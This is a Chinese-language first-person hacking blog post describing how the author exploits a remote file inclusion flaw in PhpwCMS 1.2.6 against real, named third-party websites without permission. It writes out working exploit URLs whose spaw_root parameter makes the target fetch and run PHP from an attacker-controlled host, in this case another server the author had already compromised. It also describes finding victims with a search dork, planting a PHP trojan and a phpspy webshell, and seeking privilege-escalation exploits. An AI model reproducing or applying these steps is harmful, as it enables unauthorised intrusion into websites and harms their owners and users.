1. 程式人生 > >黑客如何利用檔案包含漏洞進行網站入侵

黑客如何利用檔案包含漏洞進行網站入侵

一、看見漏洞公告

  最近想學習一下檔案包含漏洞,在無意中看見了關於檔案包含的漏洞公告。大致的意思是這樣的,PhpwCMS 1.2.6系統的下列檔案存在檔案包含漏洞:include/inc_ext/spaw/dialogs/table.php

  include/inc_ext/spaw/dialogs/a.php

  include/inc_ext/spaw/dialogs/colorpicker.php

  include/inc_ext/spaw/dialogs/confirm.php

  include/inc_ext/spaw/dialogs/img.php

  include/inc_ext/spaw/dialogs/img_library.php

  include/inc_ext/spaw/dialogs/td.php

  檔案中的$spaw_root的沒有過濾的情況下,包含'**class/lang.class.php'。具體的程式碼公告中沒給出來。可以利用下面的url利用此漏洞,http://website1/include/inc_ext/spaw/dialogs/table.php? spaw_root=http://website2/,其中website1是有漏洞的網站,website2是攻擊的網站,website2所在的目錄下有class/lang.class.php檔案。

  二、學習的第一天

  馬上行動,我用google搜尋inurl:"phpwcms/index.php?id=",搜尋到54,800多項結果,基本上都是國外的。看來這次發了,這次國外的wenshell肯定是一大堆了。呵呵……,嘿嘿……隨便點選一個網站,是美國的:http://arena- sv.jans-webdesign.com,不知道這個網站有沒有漏洞。我用http://arena-sv.jans- webdesign.com/phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http: //www.baidu.com/檢測,當然http://www.baidu.com/class/lang.class.php是不存在的,這時頁面顯示如圖一所示,提示沒有找到頁面。這表明了這個網站存在檔案包含漏洞,象這樣的有漏洞的網站隨便點選一個就是。

  檢測出有檔案包含漏洞

  現在開始利用這個漏洞,在我的支援asp網站根目錄建一個class的目錄,在class裡面建lang.class.php檔案。但是當我用瀏覽器瀏覽http://www.xxxx.xx/class/lang.class.php的時候,提示找不到檔案。難道是我的網站所在的伺服器沒設定好嗎?我試著找到了幾個webshell,瀏覽的時候還是出現找不到檔案的問題。

  鬱悶啊……如果能建一個txt檔案代替class/lang.class.php 多好啊。我問了我們工作組的學linux的同學,他們說可以用問號優化。但是偶不會啊,聽上去很複雜的,等明天再來做吧,休息,休息。

三、學習的第二天

  去搜索的發現有漏洞的網站變得比較少了,大部分的網站都被漏洞補了,還有一部分美國的網站上被掛了一些與反戰爭有關的圖片或者一些國旗。還好的是昨天的哪個網站沒有被人家黑掉,還有機會學習。我在無意中得到了jsp的wenshell,試著寫了一個php檔案,在瀏覽器瀏覽的時候出現的是原始檔。看來現在現在可以利用這個jsp的webshell來作跳板。

  在webshell裡面建一個class的資料夾,然後在class目錄裡面上傳一個lang.class.php空檔案,在檔案裡面寫上.在瀏覽器上瀏覽http://..../gate/download.jsp?file= /opt/oracle/product/10gbi/j2ee/gate/applications/gate/gate/gate/class/lang.class.php, 顯示的就是, 然後提交http://arena-sv.jans- webdesign.com/phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http: //..../gate/download.jsp?file=%2Fopt%2Foracle%2Fproduct%2F10gbi%2Fj2ee%2Fgate %2Fapplications%2Fgate%2Fgate%2Fgate%2F,%2F是/的意思。

  php環境資訊

  編輯lang.class.php的檔案,先寫了一個phpspy。但是登陸webshell的後,頁面轉到其他的頁面。還是先傳一可以上傳的檔案的馬兒吧,傳了一個國外的php木馬,木馬的功能很的大,瀏覽http://arena-sv.jans- webdesign.com/phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http: //..../gate/download.jsp?file=%2Fopt%2Foracle%2Fproduct%2F10gbi%2Fj2ee%2Fgate %2Fapplications%2Fgate%2Fgate%2Fgate%2F。

  包含的國外php木馬

  但是這個國外的php馬還是上傳一個經過修改的phpspy吧,用著舒服一點,上傳得檔案改為了imge.php,現在訪問http: //arena-sv.jans-webdesign.com/phpwcms/include/inc_ext/spaw/dialogs/imge.php? cuit=6305,登陸後一臺webshell就在我們的眼前了。許可權也不錯,但是由於是linux系統,也不知道怎麼去提權,還是再放一下吧!

  phpspy上傳成功

  四、學習的第三天

  對linux下的提權一點都不瞭解,沒辦法只有尋求幫助了。Jinsdb師兄叫我去一些好的網站找一下exp看看,他還告訴我了上次在我的網站中的php檔案瀏覽的時候是找不到檔案的原因:因為我的系統是2003的,所以要在IIS的ISAPI 篩選器中加.php字尾,在xp下訪問php檔案直接就可以瀏覽。看來上次我得到的伺服器基本上是2003的。

  看來這次的學習也蠻有意義的!發現一點,國外的網站的管理人員比較重視安全。在出現漏洞的第二天,很多網站都把漏洞補了,還有的網站被入侵後能馬上發現,並及時清除了webshell。